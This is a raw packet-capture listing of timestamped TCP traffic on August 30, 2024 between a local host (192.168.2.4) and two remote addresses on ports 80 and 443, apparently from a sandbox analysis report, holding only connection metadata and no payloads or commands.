Aug 30, 2024 06:17:06.470244884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470256090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470259905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470290899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470361948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470371962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470382929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470392942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470406055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470407963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470422983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470432043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470442057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470467091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.470984936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.470995903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471005917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471033096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471052885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471056938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471067905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471076965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471091986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471093893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471103907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471112967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471112967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471137047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471148968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471158028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471168041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471178055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471189976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471199036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471224070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471247911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471252918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471262932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471271038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471281052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471291065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471291065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471301079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471321106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471333027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471434116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471445084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471453905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471465111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471474886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471482038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471486092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471496105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471496105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471515894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471532106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471575975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471586943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471596956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471606970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471616030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471621037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471632957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471642971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471645117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471653938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471671104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471692085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471697092 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471703053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471712112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471721888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471731901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471731901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471741915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471750021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471755028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471774101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471786022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471816063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471824884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471834898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471849918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471851110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471859932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471868992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471877098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471879005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471889019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.471904039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.471929073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.472055912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.472067118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.472076893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.472103119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.472112894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.486773014 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.486803055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.486839056 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.486851931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.486860991 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.486860991 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.486906052 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.486912966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487006903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487148046 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487163067 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487209082 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487215042 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487248898 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487277985 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487325907 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487565041 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487577915 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487627983 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487637043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.487673044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.487780094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487792015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487801075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487812042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487828016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487833023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.487838030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487848043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487862110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.487890959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.487890959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.487890959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.487930059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.488228083 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488243103 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488279104 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488287926 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.488293886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488317013 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.488338947 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.488785028 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488817930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488840103 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.488843918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.488867044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.488886118 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.489074945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489089966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489136934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.489144087 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489180088 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.489464045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489476919 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489517927 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.489525080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.489548922 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.489562035 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.524370909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524380922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524389029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524422884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524432898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524437904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524441957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524460077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524460077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524467945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524477005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524507046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524518013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524540901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524550915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524559975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524569988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524605989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524605989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524632931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524642944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524652004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524660110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524677992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524688005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524712086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524720907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524730921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524743080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524763107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524763107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524795055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524804115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524813890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524826050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524835110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524842978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524848938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524853945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524904013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524904013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.524966002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524974108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524979115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524987936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.524996996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525006056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525015116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525017023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525024891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525057077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525057077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525057077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525087118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525094986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525106907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525116920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525124073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525132895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525142908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525155067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525155067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525155067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525180101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525237083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525245905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525254965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525270939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525280952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525290012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525306940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525306940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525342941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525342941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525367022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525381088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525391102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525398970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525408983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525413036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525418043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525429010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525437117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525437117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525465012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525511026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525526047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525537014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525547028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525554895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525556087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525561094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525567055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525584936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525665998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525691032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525701046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525710106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525719881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525728941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.525747061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525747061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.525823116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.527113914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527158022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527168036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527218103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.527218103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.527224064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527234077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527242899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527252913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.527308941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.527308941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529293060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529303074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529311895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529341936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529359102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529370070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529381037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529388905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529398918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529408932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529431105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529431105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529454947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529459953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529469013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529476881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529491901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529503107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529511929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529511929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529542923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529551983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529560089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529568911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529573917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529573917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529612064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529612064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529635906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529644966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529654026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529663086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529671907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529680967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529680967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529685974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529706001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529865026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529874086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529882908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529891968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529901981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529913902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529921055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529921055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529922962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529937983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.529958010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.529967070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530050993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530059099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530067921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530131102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530131102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530137062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530148029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530157089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530165911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530179977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530194044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530204058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530210018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530210018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530210018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530213118 CEST	80	49733	147.45.44.104	192.168.2.4
